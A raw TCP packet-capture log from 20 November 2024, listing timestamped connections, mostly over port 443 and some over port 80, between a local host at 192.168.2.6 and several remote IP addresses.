Nov 20, 2024 14:43:35.355571032 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:35.356318951 CET	49803	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.356384039 CET	49816	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.356545925 CET	49801	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:35.357062101 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:35.357076883 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:35.357218027 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:35.357237101 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.357260942 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.357341051 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.357353926 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.357361078 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.357512951 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.357889891 CET	49805	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.358234882 CET	49815	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.358550072 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.358572006 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.358732939 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.358742952 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.358764887 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.358793020 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.359689951 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.359698057 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.359822989 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.359842062 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.359910965 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:35.359925985 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:35.360452890 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:35.360466003 CET	443	49820	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:35.360553980 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:35.360565901 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:35.360673904 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.360685110 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.360780001 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.360794067 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.392791033 CET	443	49803	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.392975092 CET	443	49803	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.393274069 CET	49803	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.393274069 CET	49803	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.399334908 CET	443	49804	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:35.399357080 CET	443	49805	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.399367094 CET	443	49816	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.399382114 CET	443	49814	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:35.399399042 CET	443	49801	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:35.403337955 CET	443	49815	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.431469917 CET	443	49804	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:35.431536913 CET	49804	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:35.514056921 CET	443	49805	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:35.514132023 CET	49805	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:35.673880100 CET	443	49801	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:35.673979044 CET	49801	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:35.674005985 CET	443	49801	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:35.674057007 CET	49801	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:35.732912064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:35.734142065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:35.754303932 CET	443	49793	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.754378080 CET	443	49793	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.754702091 CET	49793	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.026161909 CET	443	49796	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.026235104 CET	443	49796	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.026294947 CET	49796	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.028079987 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:36.028156996 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:36.076304913 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:36.076354980 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:36.076725006 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:36.156794071 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:36.171081066 CET	49793	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.171116114 CET	443	49793	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.171130896 CET	49793	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.171138048 CET	443	49793	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.177865982 CET	49796	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.177911043 CET	443	49796	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.177931070 CET	49796	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.177937984 CET	443	49796	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.179753065 CET	443	49816	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.179814100 CET	49816	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.205945969 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:36.206017017 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:36.206039906 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:36.206419945 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:36.224891901 CET	443	49814	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.224958897 CET	49814	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.226398945 CET	443	49815	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.226480961 CET	49815	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.247332096 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:36.267987967 CET	49833	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.268001080 CET	443	49833	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.268063068 CET	49833	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.277439117 CET	49834	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.277472973 CET	443	49834	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.277535915 CET	49834	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.283848047 CET	49833	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.283859968 CET	443	49833	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.286087036 CET	49834	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.286104918 CET	443	49834	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.316756964 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.316809893 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.316874027 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.317178011 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.317192078 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.336990118 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:36.435091972 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.435148001 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.435215950 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.435797930 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.435848951 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.435920954 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.436176062 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.436197042 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.436374903 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.436388016 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.456499100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:36.555829048 CET	443	49809	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.561697960 CET	443	49806	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.566420078 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:36.566452980 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:36.566554070 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:36.566838980 CET	49809	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.566865921 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:36.566869974 CET	443	49809	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.566878080 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:36.567750931 CET	49809	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.567764997 CET	443	49809	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.568512917 CET	49806	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.568526030 CET	443	49806	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.569205046 CET	49806	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.569216013 CET	443	49806	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.573215008 CET	443	49820	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.573489904 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.573514938 CET	443	49820	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.574563026 CET	443	49820	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.574618101 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.576198101 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.576268911 CET	443	49820	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.576366901 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.576379061 CET	443	49820	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.628796101 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.628925085 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.628943920 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.629175901 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.629209042 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.629312038 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.629348040 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.629436970 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.629462004 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.630181074 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.630382061 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.630414963 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.630548000 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.630570889 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.630606890 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.630608082 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.630676985 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.630821943 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.630964994 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.631031036 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.631475925 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.631535053 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.632152081 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.632225037 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.632633924 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.632754087 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.632956028 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.633073092 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.633142948 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.633156061 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:36.633347034 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.633359909 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.633496046 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.633516073 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.633548975 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.633558989 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.660351038 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.662831068 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.663213015 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.663225889 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.664266109 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.664325953 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.671551943 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.671633005 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.671886921 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.671902895 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:36.713730097 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.825409889 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:36.825426102 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.825428963 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.825432062 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:36.860491037 CET	443	49818	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.861113071 CET	49818	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.861143112 CET	443	49818	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.861614943 CET	49818	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:36.861618996 CET	443	49818	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.868482113 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:36.868575096 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:36.868629932 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:36.869322062 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:36.869343996 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:36.999737978 CET	443	49809	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.999800920 CET	443	49809	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:36.999867916 CET	49809	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.000437975 CET	49809	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.000488043 CET	443	49809	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.000519037 CET	49809	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.000535965 CET	443	49809	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.004734993 CET	49850	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.004786968 CET	443	49850	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.004858017 CET	49850	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.006000042 CET	49850	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.006028891 CET	443	49850	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.007874012 CET	443	49806	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.007941961 CET	443	49806	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.008009911 CET	49806	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.008721113 CET	49806	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.008784056 CET	443	49806	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.008819103 CET	49806	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.008836031 CET	443	49806	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.012661934 CET	443	49820	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.012727976 CET	443	49820	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.012782097 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:37.012950897 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:37.012969017 CET	443	49820	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.015547991 CET	49851	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.015585899 CET	443	49851	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.015656948 CET	49851	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.015933990 CET	49851	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.015952110 CET	443	49851	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.077104092 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.077178001 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.077229023 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.077497959 CET	49832	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.077517986 CET	443	49832	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.077696085 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.077754021 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.077764988 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.077807903 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.077821970 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.077861071 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:37.078120947 CET	49827	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.078135967 CET	443	49827	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.078469992 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:37.078481913 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.079685926 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.079751015 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.079797029 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.079978943 CET	49831	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.079993963 CET	443	49831	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.126701117 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.126780033 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.126852989 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.127331972 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.127351999 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.304580927 CET	443	49818	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.304653883 CET	443	49818	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.304959059 CET	49818	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.305001974 CET	49818	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.305022001 CET	443	49818	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.305032969 CET	49818	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.305039883 CET	443	49818	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.305452108 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:37.305784941 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:37.305824041 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:37.306233883 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:37.306251049 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:37.306301117 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:37.306313992 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:37.309065104 CET	49852	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.309088945 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:37.309111118 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:37.309118032 CET	443	49852	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.309251070 CET	49852	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.309700966 CET	49852	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:37.309716940 CET	443	49852	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:37.310609102 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:37.310719967 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:37.310898066 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:37.310906887 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:37.329466105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:37.329546928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:37.519342899 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:37.519417048 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:37.672635078 CET	49853	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.672672033 CET	443	49853	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.672729969 CET	49853	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.672995090 CET	49854	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.673029900 CET	443	49854	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.673095942 CET	49854	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.674024105 CET	49853	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.674040079 CET	443	49853	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.674170971 CET	49854	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.674181938 CET	443	49854	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.794316053 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.794729948 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.794833899 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:37.794842958 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.794905901 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.794950962 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.794987917 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.795264006 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.795283079 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.795922995 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.795996904 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.796000004 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:37.796060085 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.796441078 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:37.796509981 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.796516895 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.796578884 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.797087908 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.797147036 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.797545910 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.797616959 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.797733068 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:37.797739983 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:37.797785997 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.797796011 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.797826052 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:37.797835112 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:37.853348017 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:38.003330946 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.003400087 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.006156921 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.006210089 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.006393909 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.006424904 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.007330894 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.007388115 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.015722990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.022227049 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.022288084 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.022320032 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.030746937 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.032052040 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.032084942 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.041984081 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.044321060 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.044353008 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.058780909 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.058849096 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.058877945 CET	443	49825	142.250.181.65	192.168.2.6
